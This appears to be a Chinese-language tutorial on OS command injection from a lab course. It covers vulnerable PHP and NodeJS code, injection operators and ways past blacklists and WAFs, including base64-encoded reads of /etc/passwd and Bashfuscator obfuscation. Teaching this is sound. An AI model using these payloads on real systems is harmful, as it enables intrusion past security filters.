命令注入漏洞是最严重的漏洞类型之一。它允许我们直接在后端托管服务器上执行系统命令,这可能会危及整个网络。如果 Web 应用程序使用用户控制的输入在后端服务器上执行系统命令以检索并返回特定输出,我们可能会注入恶意 payload 来破坏预期命令并执行我们的命令。
什么是注入漏洞
注入漏洞被认为是 OWASP 的前 10 大 Web 应用程序风险中的第 3 位风险,因为它们具有很高的影响力和它们的普遍性。当用户控制的输入被误解为正在执行的 Web 查询或代码的一部分时,就会发生注入,这可能会导致将查询的预期结果颠覆为对攻击者有用的不同结果。
Web 应用程序中存在多种注入类型,具体取决于正在执行的 Web 查询的类型。以下是一些最常见的注射类型:
注入 | 描述 |
---|---|
操作系统命令注入 | 当用户输入直接用作操作系统命令的一部分时发生 |
代码注入 | 当用户输入直接在计算代码的函数内时发生 |
SQL注入 | 当用户输入直接用作 SQL 查询的一部分时发生 |
跨站点脚本/HTML 注入 | 在网页上显示准确的用户输入时发生 |
除了上述之外,还有许多其他类型的注射,例如LDAP injection
, NoSQL Injection
, HTTP Header Injection
, XPath Injection
, IMAP Injection
, ORM Injection
和其他。每当在查询中使用用户输入而未经过适当过滤时,就有可能将用户输入字符串的边界转义到父查询并对其进行操作以更改其预期目的。这就是为什么随着越来越多的 Web 技术被引入到 Web 应用程序中,我们将看到新类型的注入被引入到 Web 应用程序中。
操作系统命令注入
当涉及操作系统命令注入时,我们控制的用户输入必须直接或间接进入(或以某种方式影响)执行系统命令的 Web 查询。所有网络编程语言都有不同的功能,使开发人员可以在需要时直接在后端服务器上执行操作系统命令。这可以用于各种目的,例如安装插件或执行某些应用程序。
PHP 示例
例如,用 编写的 Web 应用程序PHP
可能会使用exec
、system
、shell_exec
、passthru
或popen
函数直接在后端服务器上执行命令,每个都有稍微不同的用例。以下代码是易受命令注入攻击的 PHP 代码示例:
<?php
if (isset($_GET['filename'])) {
system("touch /tmp/" . $_GET['filename'] . ".pdf");
}
?>
也许特定的 Web 应用程序具有允许用户创建新的 .pdf
文档的功能,该文档在 /tmp
目录中创建,文件名由用户提供,然后可以由 Web 应用程序用于文档处理目的。然而,由于 GET
请求中 filename
参数的用户输入直接与 touch
命令一起使用(没有先进行清理或转义),因此 Web 应用程序容易受到操作系统命令注入的攻击。该漏洞可被利用在后端服务器上执行任意系统命令。
NodeJS 示例
这不仅是 PHP
独有的,而且可以出现在任何 Web 开发框架或语言中。例如,如果 Web 应用程序是在 NodeJS
中开发的,开发人员可以出于相同目的使用 child_process.exec
或 child_process.spawn
。以下示例执行与我们上面讨论的类似的功能:
app.get("/createfile", function(req, res){
child_process.exec(`touch /tmp/${req.query.filename}.txt`);
})
上面的代码也容易受到命令注入漏洞的影响,因为它使用 GET
请求中的 filename
参数作为命令的一部分,而没有先对其进行清理。可以使用相同的命令注入方法来利用 PHP
和 NodeJS
Web 应用程序。
同样,其他 Web 开发编程语言具有用于相同目的的类似功能,如果存在漏洞,可以使用相同的命令注入方法加以利用。此外,命令注入漏洞并非 Web 应用程序所独有,如果它们将未经过滤的用户输入传递给执行系统命令的函数,也会影响其他二进制文件和胖客户端,同样的命令注入方法也可以利用这些漏洞。
以下部分将讨论检测和利用 Web 应用程序中的命令注入漏洞的不同方法。
Exploitation
检测
检测基本操作系统命令注入漏洞的过程与利用此类漏洞的过程相同。我们尝试通过各种注入方法附加我们的命令。如果命令输出与预期的通常结果不同,则我们已成功利用该漏洞。对于更高级的命令注入漏洞,情况可能并非如此,因为我们可能会利用各种模糊测试方法或代码审查来识别潜在的命令注入漏洞。然后我们可以逐步构建我们的有效载荷,直到我们实现命令注入。该模块将专注于基本的命令注入,我们控制直接用于系统命令执行功能的用户输入,而不进行任何清理。
为了证明这一点,我们将使用本节末尾的练习。
命令注入检测
当我们在下面的练习中访问 Web 应用程序时,我们会看到一个 Host Checker
实用程序,它似乎要求我们提供 IP 以检查它是否处于活动状态:
![[Pasted image 20221210223151.png]]
我们可以尝试输入本地主机 IP 127.0.0.1
来检查功能,正如预期的那样,它返回 ping
命令的输出,告诉我们本地主机确实存在:
![[Pasted image 20221210223440.png]]
虽然我们无法访问 Web 应用程序的源代码,但我们可以自信地猜测我们输入的 IP 将进入 ping
命令,因为我们收到的输出表明了这一点。由于ping命令中显示的是单个包传输,使用的命令可能如下:
ping -c 1 OUR_INPUT
如果我们的输入在与 ping
命令一起使用之前没有经过清理和转义,我们就可以注入另一个任意命令。因此,让我们尝试查看 Web 应用程序是否容易受到操作系统命令注入的攻击。
命令注入检测方法
要向预期的命令注入额外的命令,我们可以使用以下任何操作符:
注入字符 | Url 编码字符 | 适用系统 |
---|---|---|
; |
%3b |
Both |
\n |
%0a |
Both |
& |
%26 |
Both(第二个输出通常首先显示) |
| |
%7c |
Both(只显示第二个输出) |
&& |
%26%26 |
Both(only if first succeeds) |
|| |
%7c%7c |
Second (only if first fails) |
`` |
%60%60 |
Both (Linux-only) |
$() |
%24%28%29 |
Both (Linux-only) |
我们可以使用这些运算符中的任何一个来注入另一个命令,以便执行两个或其中一个命令。我们将编写我们预期的输入(例如,IP),然后使用上述任何运算符,然后编写我们的新命令。
提示:除了上述之外,还有一些 unix-only 操作符,可以在 Linux 和 macOS 上运行,但不能在 Windows 上运行,例如用双反引号 (
``
) 或 sub-shell 运算符 ($()
)。
一般来说,对于基本的命令注入,这些操作符都可以用于命令注入,不管是什么Web应用程序语言、框架、后端服务器
。因此,如果我们注入在 Linux
服务器上运行的 PHP Web
应用程序,或在 Windows
后端服务器上运行的 .Net
Web 应用程序,或在 macOS
后端服务器上运行的 NodeJS
Web 应用程序,我们的注入应该都能正常工作。
注意:唯一的例外可能是分号
;
,如果命令是使用 Windows 命令行 (CMD
) 执行的,它将不起作用,但如果它是使用Windows PowerShell
执行的,它将仍然有效。
注入命令
到目前为止,我们已经发现 Host Checker
Web 应用程序可能容易受到命令注入的攻击,并讨论了我们可能用来利用该 Web 应用程序的各种注入方法。因此,让我们使用分号运算符 (;
) 开始我们的命令注入尝试。
注入我们的命令
我们可以在输入 IP 127.0.0.1
后添加一个分号,然后附加我们的命令(例如 whoami
),这样我们将使用的最终 payload 是(127.0.0.1; whoami
),最后要执行的命令将是是:
ping -c 1 127.0.0.1; whoami
首先,让我们尝试在我们的 Linux VM 上运行上面的命令以确保它确实运行:
$ ping -c 1 127.0.0.1; whoami
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=1.03 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.034/1.034/1.034/0.000 ms
21y4d
如我们所见,最终命令成功运行,并且我们获得了两个命令的输出(如前表中提到的 ;)。现在,我们可以尝试在 Host Checker
Web 应用程序中使用我们之前的有效 payload:
![[Pasted image 20221210231255.png]]
正如我们所见,Web 应用程序拒绝了我们的输入,因为它似乎只接受 IP 格式的输入。但是,从错误消息的外观来看,它似乎来自前端而不是后端。我们可以通过单击 [CTRL + SHIFT + E]
显示网络选项卡,然后再次单击检查按钮,使用 Firefox 开发人员工具仔细检查:
![[Pasted image 20221210231337.png]]
正如我们所看到的,当我们点击检查按钮时没有新的网络请求发出,但我们收到了一条错误消息。这表明用户输入验证发生在前端。
这似乎是试图通过仅允许用户以 IP 格式输入来阻止我们发送恶意负载。但是,开发人员通常只在前端执行输入验证,而不在后端验证或清理输入。发生这种情况的原因有很多,比如有两个不同的团队在前端/后端工作,或者信任前端验证来防止恶意 payload。
然而,正如我们将看到的,前端验证通常不足以防止注入,因为通过将自定义 HTTP 请求直接发送到后端可以很容易地绕过它们。
绕过前段验证
自定义发送到后端服务器的 HTTP 请求的最简单方法是使用可以拦截应用程序发送的 HTTP 请求的 Web 代理。为此,我们可以启动 Burp Suite
或 ZAP
并配置 Firefox 以代理通过它们的流量。然后,我们可以启用代理拦截功能,从任何IP(例如127.0.0.1
)的Web应用程序发送标准请求,并通过点击[CTRL + R]
将拦截的HTTP请求发送到转发器,我们应该有HTTP定制要求:
Burp POST 请求
![[Pasted image 20221210231608.png]]
我们现在可以自定义我们的 HTTP 请求并发送它以查看 Web 应用程序如何处理它。我们将从使用之前相同的有效负载 (127.0.0.1; whoami
) 开始。我们还应该对我们的有效负载进行 URL 编码,以确保它按我们的意图发送。我们可以通过选择有效负载然后单击 [CTRL + U]
来完成此操作。最后,我们可以点击 Send
来发送我们的 HTTP 请求:
Burp POST 请求
![[Pasted image 20221210231702.png]]
正如我们所看到的,这次我们得到的响应包含了 ping
命令的输出和 whoami
命令的结果,这意味着我们成功地注入了我们的新命令。
其他注入操作
在我们继续之前,让我们尝试一些其他的注入操作符,看看 Web 应用程序处理它们的方式有何不同。
AND 操作
我们可以从 AND
(&&
) 运算符开始,这样我们的最终有效负载将是 (127.0.0.1 && whoami
),最终执行的命令如下:
ping -c 1 127.0.0.1 && whoami
一如既往,让我们先尝试在我们的 Linux VM 上运行该命令,以确保它是一个有效的命令:
$ ping -c 1 127.0.0.1 && whoami
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=1.03 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.034/1.034/1.034/0.000 ms
21y4d
如我们所见,该命令确实运行了,并且我们得到了与之前相同的输出。尝试参考上一节的注入运算符表,看看 &&
运算符有何不同(如果我们不写IP,直接用 &&
启动,命令还能用吗?)。
现在,我们可以通过复制我们的有效负载,将其粘贴到 Burp Suite
中的 HTTP 请求中,对其进行 URL 编码,然后最后发送它来做与之前相同的事情:
![[Pasted image 20221210232046.png]]
正如我们所看到的,我们成功地注入了我们的命令并收到了两个命令的预期输出。
OR 操作
最后,让我们试试 OR
(||
) 注入运算符。 OR
运算符仅在第一个命令执行失败时才执行第二个命令。如果我们的注入会破坏原始命令,而没有可靠的方法让两个命令都起作用,这可能对我们有用。因此,如果第一个命令失败,使用 OR
运算符将使我们的新命令执行。
如果我们尝试将我们通常的有效负载与 ||
一起使用operator (127.0.0.1 || whoami
),我们将看到只有第一个命令会执行:
$ ping -c 1 127.0.0.1 || whoami
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.635 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.635/0.635/0.635/0.000 ms
这是因为 bash
命令的工作方式。当第一个命令返回退出代码 0
表示执行成功时,bash
命令停止并且不会尝试其他命令。如果第一个命令失败并返回退出代码 1
,它只会尝试执行另一个命令。
尝试在 HTTP 请求中使用上述负载,并查看 Web 应用程序如何处理它。
让我们尝试通过不提供 IP 并直接使用 ||
来故意破坏第一个命令运算符 (|| whoami
),这样 ping
命令就会失败,我们注入的命令就会被执行:
$ ping -c 1 || whoami
ping: usage error: Destination address required
21y4d
正如我们所见,这一次,whoami
命令确实在 ping
命令失败后执行,并给了我们一条错误消息。那么,现在让我们在 HTTP 请求中尝试 (|| whoami
) 有效负载:
![[Pasted image 20221211215114.png]]
我们看到这次我们只得到了预期的第二条命令的输出。有了这个,我们使用了更简单的有效载荷并获得了更清晰的结果。
在这个模块中,我们主要处理直接命令注入,我们的输入直接进入系统命令,我们接收命令的输出。有关高级命令注入的更多信息,如间接注入或盲注,您可以参考 Whitebox Pentesting 101:命令注入模块,其中涵盖了高级注入方法和许多其他主题。
绕过过滤器
识别过滤器
正如我们在上一节中看到的那样,即使开发人员试图保护 Web 应用程序免受注入攻击,如果它没有安全编码,它仍然可能被利用。另一种注入缓解措施是在后端使用列入黑名单的字符和单词来检测注入尝试,如果任何请求包含它们,则拒绝该请求。在此之上的另一层是利用 Web 应用程序防火墙 (WAF),它可能具有更广泛的范围和多种注入检测方法,并防止各种其他攻击,如 SQL 注入或 XSS 攻击。
本节将介绍几个示例,说明如何检测和阻止命令注入,以及我们如何识别被阻止的内容。
过滤器/WAF检测
让我们从访问本节末尾练习中的 Web 应用程序开始。我们看到了我们一直在利用的同一个 Host Checker
Web 应用程序,但现在它有一些缓解措施。我们可以看到,如果我们尝试之前测试过的运算符,比如 (;
, &&
, ||
),我们会收到错误消息 invalid input
:
![[Pasted image 20221211220845.png]]
这表明我们发送的内容触发了拒绝我们请求的安全机制。此错误消息可以多种方式显示。在这种情况下,我们在显示输出的字段中看到它,这意味着它已被 PHP
Web 应用程序本身检测到并阻止。如果错误消息显示不同的页面,其中包含我们的 IP 和我们的请求等信息,这可能表明它被 WAF 拒绝了。
让我们检查一下我们发送的有效载荷:
127.0.0.1; whoami
除了 IP(我们知道它没有被列入黑名单),我们还发送了:
- 一个分号字符
- 一个空格符
- 一个 whoami 命令
因此,Web 应用程序要么检测到列入黑名单的字符,要么检测到列入黑名单的命令,或者两者都有。那么,让我们看看如何绕过它们。
列入黑名单的字符
Web 应用程序可能有一个列入黑名单的字符列表,如果命令包含这些字符,它将拒绝该请求。 PHP 代码可能类似于以下内容:
$blacklist = ['&', '|', ';', ...SNIP...];
foreach ($blacklist as $character) {
if (strpos($_POST['ip'], $character) !== false) {
echo "Invalid input";
}
}
如果我们发送的字符串中的任何字符与黑名单中的字符匹配,我们的请求将被拒绝。在我们开始尝试绕过过滤器之前,我们应该尝试确定是哪个字符导致了被拒绝的请求。
识别列入黑名单的字符
让我们一次将请求减少到一个字符,看看它何时被阻止。我们知道 (127.0.0.1
) 有效负载确实有效,所以让我们从添加分号 (127.0.0.1;
) 开始:
![[Pasted image 20221211221407.png]]
我们仍然得到无效输入,错误意味着分号被列入黑名单。那么,让我们看看我们之前讨论的所有注入操作符是否都被列入黑名单。
Bypassing Space Filters
有多种方法可以检测注入尝试,并且有多种方法可以绕过这些检测。我们将以 Linux 为例演示检测的概念以及绕过的工作原理。我们将学习如何利用这些绕过并最终能够阻止它们。一旦我们很好地掌握了它们的工作原理,我们就可以通过互联网上的各种资源来发现其他类型的绕过并学习如何缓解它们。
绕过黑名单操作
我们会看到大部分的注入操作(Operators)确实被列入了黑名单。但是,换行符通常不会被列入黑名单,因为负载本身可能需要它。我们知道换行符可以在 Linux 和 Windows 中附加我们的命令,所以让我们尝试使用它作为我们的注入运算符:
![[Pasted image 20221212102713.png]]
正如我们所看到的,即使我们的 payload 确实包含一个换行符,我们的请求也没有被拒绝,并且我们确实得到了 ping 命令的输出,这意味着这个字符没有被列入黑名单,我们可以将它用作我们的注射操作员。让我们首先讨论如何绕过一个常见的黑名单字符——空格字符。
绕过列入黑名单的空格字符
现在我们有了一个有效的注入操作符,让我们修改我们的原始有效负载并将其再次发送为 (127.0.0.1%0a whoami
):
![[Pasted image 20221212105940.png]]
如我们所见,我们仍然收到 invalid input
错误消息,这意味着我们还有其他过滤器需要绕过。所以,就像我们之前所做的那样,让我们只添加下一个字符(一个空格),看看它是否导致请求被拒绝:
正如我们所看到的,空格字符也确实被列入了黑名单。空格通常是列入黑名单的字符,尤其是当输入不应包含任何空格时,例如 IP。不过,有很多方法可以在不实际使用空格字符的情况下添加空格字符!
使用 Tabs
使用制表符 (%09
) 代替空格是一种可行的技术,因为 Linux 和 Windows 都接受在参数之间使用制表符的命令,并且它们的执行方式相同。因此,让我们尝试使用制表符而不是空格字符 (127.0.0.1%0a%09
),看看我们的请求是否被接受:
![[Pasted image 20221212110147.png]]
如我们所见,我们通过使用制表符成功地绕过了空格字符过滤器。让我们看看另一种替换空格字符的方法
使用 $IFS
使用 ($IFS
) Linux 环境变量也可能有效,因为它的默认值是一个空格和一个制表符,可以在命令参数之间使用。所以,如果我们在应该有空格的地方使用 ${IFS}
,变量应该自动替换为空格,我们的命令应该可以工作。
让我们使用 ${IFS}
看看它是否有效 (127.0.0.1%0a${IFS}
):
![[Pasted image 20221212110311.png]]
我们看到这次我们的请求没有被拒绝,我们再次绕过了空间过滤器。
使用 Brace Expansion
我们可以使用许多其他方法来绕过空间过滤器。例如,我们可以使用 Bash Brace Expansion
特性,它会自动在括号之间的参数之间添加空格,如下所示:
$ {ls,-la}
total 0
drwxr-xr-x 1 21y4d 21y4d 0 Jul 13 07:37 .
drwxr-xr-x 1 21y4d 21y4d 0 Jul 13 13:01 ..
正如我们所看到的,该命令已成功执行,其中没有空格。我们可以在命令注入过滤器绕过中使用相同的方法,通过在命令参数上使用大括号扩展,例如 (127.0.0.1%0a{ls,-la}
)。要发现更多空间过滤器绕过方法,请查看 PayloadsAllTheThings 页面上有关编写不带空格的命令的信息。
练习:尝试寻找绕过空间过滤器的其他方法,并将它们与 Host Checker Web 应用程序一起使用以了解它们的工作原理。
绕过其他黑名单字符
除了注入运算符和空格字符外,一个非常常见的列入黑名单的字符是斜杠 (/
) 或反斜杠 (\
) 字符,因为在 Linux 或 Windows 中需要指定目录。我们可以利用多种技术来生成我们想要的任何字符,同时避免使用列入黑名单的字符。
Linux
我们可以利用许多技术在我们的有效载荷中使用斜杠。我们可以用来替换斜杠(或任何其他字符)的技术之一是通过 Linux 环境变量
,就像我们对 ${IFS}
所做的那样。虽然 ${IFS}
直接替换为空格,但没有用于斜线或分号的环境变量。但是,这些字符可能会在环境变量中使用,我们可以指定字符串的开始
和长度
以完全匹配该字符。
例如,如果我们查看 Linux 中的 $PATH
环境变量,它可能如下所示:
$ echo ${PATH}
/usr/local/bin:/usr/bin:/bin:/usr/games
所以,如果我们从 0
字符开始,只取长度为 1
的字符串,我们将只以 /
字符结束,我们可以在我们的有效载荷中使用它:
$ echo ${PATH}
/usr/local/bin:/usr/bin:/bin:/usr/games
所以,如果我们从 0
字符开始,只取长度为 1
的字符串,我们将只以 /
字符结束,我们可以在我们的有效载荷中使用它:
$ echo ${PATH:0:1}
/
注意:当我们在 payload 中使用上述命令时,我们不会添加 echo
,因为在这种情况下我们只使用它来显示输出的字符。
我们也可以对 $HOME
或 $PWD
环境变量做同样的事情。我们也可以使用相同的概念来获取分号字符,用作注入运算符。例如,以下命令为我们提供了一个分号:
$ echo ${LS_COLORS:10:1}
;
练习:试着理解上面的命令是如何产生分号的,然后在有效负载中使用它作为注入运算符。提示:printenv
命令打印 Linux 中的所有环境变量,因此您可以查看哪些可能包含有用的字符,然后尝试将字符串缩减为仅该字符。
因此,让我们尝试使用环境变量为我们的负载 (127.0.0.1${LS_COLORS:10:1}${IFS}
) 添加一个分号和一个空格作为我们的负载,看看我们是否可以绕过过滤器:
![[Pasted image 20221212112726.png]]
正如我们所见,这次我们也成功绕过了字符过滤器。
Windows
同样的概念也适用于 Windows。例如,要在 Windows 命令行 (CMD
) 中生成斜杠,我们可以回显 Windows 变量 (%HOMEPATH% -> \Users\htb-student
),然后指定起始位置 (~6 -> \htb-student
) , 最后指定一个负结束位置,在本例中是用户名 htb-student (-11
-> \
) 的长度:
C:\htb> echo %HOMEPATH:~6,-11%
\
我们可以在 Windows PowerShell
中使用相同的变量来实现相同的目的。在 PowerShell 中,单词被视为一个数组,因此我们必须指定所需字符的索引。因为我们只需要一个字符,所以我们不必指定开始和结束位置:
PS C:\htb> $env:HOMEPATH[0]
\
PS C:\htb> $env:PROGRAMFILES[10]
PS C:\htb>
我们还可以使用 Get-ChildItem Env:
PowerShell 命令打印所有环境变量,然后选择其中一个来生成我们需要的字符。尝试发挥创意,找到不同的命令来产生相似作用的字符。
字符转换
还有其他技术可以在不使用字符的情况下生成所需的字符,例如 shifting characters
。例如,下面的 Linux 命令将我们传递的字符移动 1
。因此,我们所要做的就是在 ASCII 表中找到我们需要的字符之前的字符(我们可以使用 man ascii
获取它),然后添加它而不是下面示例中的 [
。这样,最后打印的字符就是我们需要的字符:
$ man ascii # \ is on 92, before it is [ on 91
$ echo $(tr '!-}' '"-~'<<<[)
\
我们可以使用 PowerShell 命令在 Windows 中获得相同的结果,尽管它们可能比 Linux 的命令长得多。
练习:尝试使用字符移位技术生成分号;特点。先在ascii表中找到它前面的字符,然后在上面的命令中使用。
绕过列入黑名单命令
我们已经讨论了绕过单字符过滤器的各种方法。但是,在绕过列入黑名单的命令时有不同的方法。命令黑名单通常由一组单词组成,如果我们可以混淆我们的命令并使它们看起来不同,我们就可以绕过过滤器。
命令混淆的方法多种多样,复杂程度各不相同,稍后我们将介绍命令混淆工具。我们将介绍一些基本技术,这些技术可能使我们能够更改命令的外观以手动绕过过滤器
命令黑名单
到目前为止,我们已经成功绕过了负载中空格和分号字符的字符过滤器。因此,让我们回到我们的第一个有效负载并重新添加 whoami
命令以查看它是否被执行:
![[Pasted image 20221212131451.png]]
我们看到,即使我们使用的字符没有被 Web 应用程序阻止,一旦我们添加了命令,请求就会再次被阻止。这可能是由于另一种类型的过滤器,即命令黑名单过滤器。
PHP
中的基本命令黑名单过滤器如下所示:
$blacklist = ['whoami', 'cat', ...SNIP...];
foreach ($blacklist as $word) {
if (strpos('$_POST['ip']', $word) !== false) {
echo "Invalid input";
}
}
正如我们所看到的,它正在检查用户输入的每个单词,看它是否与任何列入黑名单的单词相匹配。但是,此代码正在寻找与提供的命令完全匹配的内容,因此如果我们发送稍微不同的命令,它可能不会被阻止。幸运的是,我们可以利用各种混淆技术来执行我们的命令,而无需使用确切的命令词。
Linux & Windows
一种非常常见且容易混淆的技术是在我们的命令中插入某些字符,这些字符通常会被 Bash
或 PowerShell
等命令 shell 忽略,并且会执行相同的命令,就好像它们不存在一样。其中一些字符是单引号 '
和双引号 "
,还有一些其他字符。
最容易使用的是引号,它们适用于 Linux 和 Windows 服务器。例如,如果我们想混淆 whoami
命令,我们可以在它的字符之间插入单引号,如下:
$ w'h'o'am'i
21y4d
这同样适用于双引号:
$ w"h"o"am"i
21y4d
需要记住的重要事情是,我们不能混合引用的类型,并且引用的数量必须是偶数。我们可以在我们的 payload (127.0.0.1%0aw'h'o'am'i
) 中尝试上述之一,看看它是否有效:
Burp POST Request
![[Pasted image 20221212131834.png]]
正如我们所看到的,这种方法确实有效。
仅限 Linux
我们可以在命令中间插入一些其他 Linux 专用字符,bash
shell 会忽略它们并执行命令。这些字符包括反斜杠 \
和位置参数字符 $@
。这与引号完全一样,但在这种情况下,字符数不必是偶数,如果需要,我们可以只插入其中一个:
who$@ami
w\ho\am\i
练习:在你的 payload 中尝试上面的两个例子,看看它们是否能绕过命令过滤器。如果没有,这可能表明您可能使用了过滤字符。您是否也可以使用我们在上一节中学到的技术来绕过它?
仅限 Windows
我们还可以在不影响结果的命令中间插入一些仅限 Windows 的字符,例如插入符号 (^
) 字符,如下例所示:
C:\htb> who^ami
21y4d
在下一节中,我们将讨论一些更高级的命令混淆和过滤器绕过技术。
高级命令
在某些情况下,我们可能会处理高级过滤解决方案,例如 Web 应用程序防火墙 (WAF),而基本的规避技术可能不一定有效。我们可以在这种情况下使用更先进的技术,这使得检测到注入的命令的可能性大大降低。
Case Manipulation
我们可以使用的一种命令混淆技术是大小写操作,例如反转命令的字符大小写(例如 WHOAMI
)或在大小写之间交替(例如 WhOaMi
)。这通常有效,因为命令黑名单可能不会检查单个单词的不同大小写变体,因为 Linux 系统区分大小写。
如果我们正在处理 Windows 服务器,我们可以更改命令字符的大小写并发送它。在 Windows 中,PowerShell 和 CMD 的命令不区分大小写,这意味着它们将执行命令而不管它是用什么写的:
PS C:\htb> WhOaMi
21y4d
然而,当涉及到区分大小写的 Linux 和 bash shell 时,如前所述,我们必须有点创意并找到一个将命令变成全小写单词的命令。我们可以使用的一个工作命令如下:
$ $(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
21y4d
正如我们所见,该命令确实有效,即使我们提供的单词是 (WhOaMi
)。此命令使用 tr 将所有大写字符替换为小写字符,这将生成一个全小写字符命令。但是,如果我们尝试将上述命令与 Host Checker
Web 应用程序一起使用,我们会发现它仍然被阻止:
Burp POST Request
![[Pasted image 20221212132849.png]]
你能猜出为什么吗?这是因为上面的命令包含空格,这是我们的 Web 应用程序中的过滤字符,正如我们之前看到的那样。所以,使用这些技术,我们必须始终确保不使用任何过滤字符,否则我们的请求将失败,并且我们可能认为这些技术失败了。
一旦我们用制表符 (%09
) 替换空格,我们就会看到该命令完美运行:
Burp POST Request
![[Pasted image 20221212133000.png]]
我们可以出于相同目的使用许多其他命令,如下所示:
$(a="WhOaMi";printf %s "${a,,}")
练习:你能测试上面的命令看看它是否能在你的 Linux VM 上运行,然后尽量避免使用过滤字符来让它在 web 应用程序上运行吗?
命令反写
我们将讨论的另一种命令混淆技术是逆向命令,并有一个命令模板可以将它们切换回来并实时执行它们。在这种情况下,我们将编写 imaohw
而不是 whoami
以避免触发列入黑名单的命令。
我们可以利用这些技术发挥创意,创建我们自己的 Linux/Windows 命令,这些命令最终会在不包含实际命令字的情况下执行。首先,我们必须在终端中获取命令的反向字符串,如下所示:
$ echo 'whoami' | rev
imaohw
然后,我们可以通过在子 shell ($()
) 中将其反转来执行原始命令,如下所示:
$ $(rev<<<'imaohw')
21y4d
我们看到,即使该命令不包含实际的 whoami
词,它也能正常工作并提供预期的输出。我们也可以用我们的练习来测试这个命令,它确实有效:
Burp POST Request
![[Pasted image 20221212133237.png]]
提示:如果你想用上述方法绕过字符过滤器,你还必须反转它们,或者在反转原始命令时包括它们。
在 Windows
中也可以应用同样的方法。我们可以先反转一个字符串,如下:
PS C:\htb> "whoami"[-1..-20] -join ''
imaohw
我们现在可以使用以下命令通过 PowerShell 子 shell(iex "$()"
)执行反向字符串,如下所示:
PS C:\htb> iex "$('imaohw'[-1..-20] -join '')"
21y4d
编码指令
我们将讨论的最后一种技术对于包含过滤字符或可能由服务器进行 URL 解码的字符的命令很有帮助。这可能会导致命令在到达 shell 时变得混乱并最终无法执行。这次我们将尝试创建自己独特的混淆命令,而不是在线复制现有命令。这样,它就不太可能被过滤器或 WAF 拒绝。我们创建的命令对于每种情况都是唯一的,具体取决于允许使用的字符和服务器的安全级别。
我们可以利用各种编码工具,如 base64
(用于 b64 编码)或 xxd
(用于十六进制编码)。我们以base64
为例。首先,我们将对要执行的有效负载进行编码(包括过滤字符):
$ echo -n 'cat /etc/passwd | grep 33' | base64
Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==
现在我们可以创建一个命令,它将在子 shell ($()
) 中解码编码的字符串,然后将其传递给 bash
以执行(即 bash<<<
),如下所示:
$ bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
正如我们所看到的,上面的命令完美地执行了命令。我们没有包含任何过滤字符,并避免了可能导致命令无法执行的编码字符。
提示:请注意,我们使用
<<<
来避免使用竖线|
,这是一个过滤字符。
现在我们可以使用这个命令(一旦我们替换了空格)通过命令注入执行相同的命令:
Burp POST Request
![[Pasted image 20221212133719.png]]
即使某些命令被过滤,如 bash
或 base64
,我们也可以使用我们在上一节中讨论的技术(例如,字符插入)绕过该过滤器,或使用其他替代方法,如 sh
用于命令执行和 openssl
用于 b64 解码,或 xxd
用于十六进制解码。
我们也对 Windows 使用相同的技术。首先,我们需要对我们的字符串进行 base64 编码,如下所示:
PS C:\htb> [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))
dwBoAG8AYQBtAGkA
我们也可以在 Linux 上实现同样的事情,但是我们必须先将字符串从 utf-8
转换为 utf-16
,然后再对其进行 base64
,如下所示:
$ echo -n whoami | iconv -f utf-8 -t utf-16le | base64
dwBoAG8AYQBtAGkA
最后,我们可以解码 b64 字符串并使用 PowerShell 子 shell(iex ""$()"
)执行它,如下所示:
PS C:\htb> iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"
21y4d
正如我们所看到的,我们可以通过 Bash
或 PowerShell
发挥创意,并创建以前未使用过的新的绕过和混淆方法,因此很可能绕过过滤器和 WAF。有几种工具可以帮助我们自动混淆我们的命令,我们将在下一节中讨论。
除了我们讨论的技术之外,我们还可以使用许多其他方法,例如通配符、正则表达式、输出重定向、整数扩展等等。我们可以在 PayloadsAllTheThings 上找到一些这样的技术。
Evasion(规避) Tools
如果我们正在处理高级安全工具,我们可能无法使用基本的手动混淆技术。在这种情况下,最好求助于自动混淆工具。本节将讨论这些类型工具的几个示例,一个用于 Linux
,另一个用于 Windows
。
Linux (Bashfuscator)
我们可以用来混淆 bash 命令的一个方便的工具是 Bashfuscator。我们可以从 GitHub 克隆存储库,然后安装其要求,如下所示:
$ git clone https://github.com/Bashfuscator/Bashfuscator
$ cd Bashfuscator
$ python3 setup.py install --user
一旦我们设置了工具,我们就可以从 ./bashfuscator/bin/
目录开始使用它。我们可以使用该工具使用许多标志来微调我们最终的混淆命令,正如我们在 -h
帮助菜单中看到的那样:
$ cd ./bashfuscator/bin/
$ ./bashfuscator -h
usage: bashfuscator [-h] [-l] ...SNIP...
optional arguments:
-h, --help show this help message and exit
Program Options:
-l, --list List all the available obfuscators, compressors, and encoders
-c COMMAND, --command COMMAND
Command to obfuscate
...SNIP...
我们可以从简单地提供我们想要使用 -c
标志进行混淆的命令开始:
$ ./bashfuscator -c 'cat /etc/passwd'
[+] Mutators used: Token/ForCode -> Command/Reverse
[+] Payload:
${*/+27\[X\(} ...SNIP... ${*~}
[+] Payload size: 1664 characters
但是,这样运行该工具会随机选择一种混淆技术,输出的命令长度从几百个字符到上百万个字符不等!因此,我们可以使用帮助菜单中的一些标志来生成更短、更简单的混淆命令,如下所示:
$ ./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1
[+] Mutators used: Token/ForCode
[+] Payload:
eval "$(W0=(w \ t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"
[+] Payload size: 104 characters
我们现在可以使用 bash -c ' '
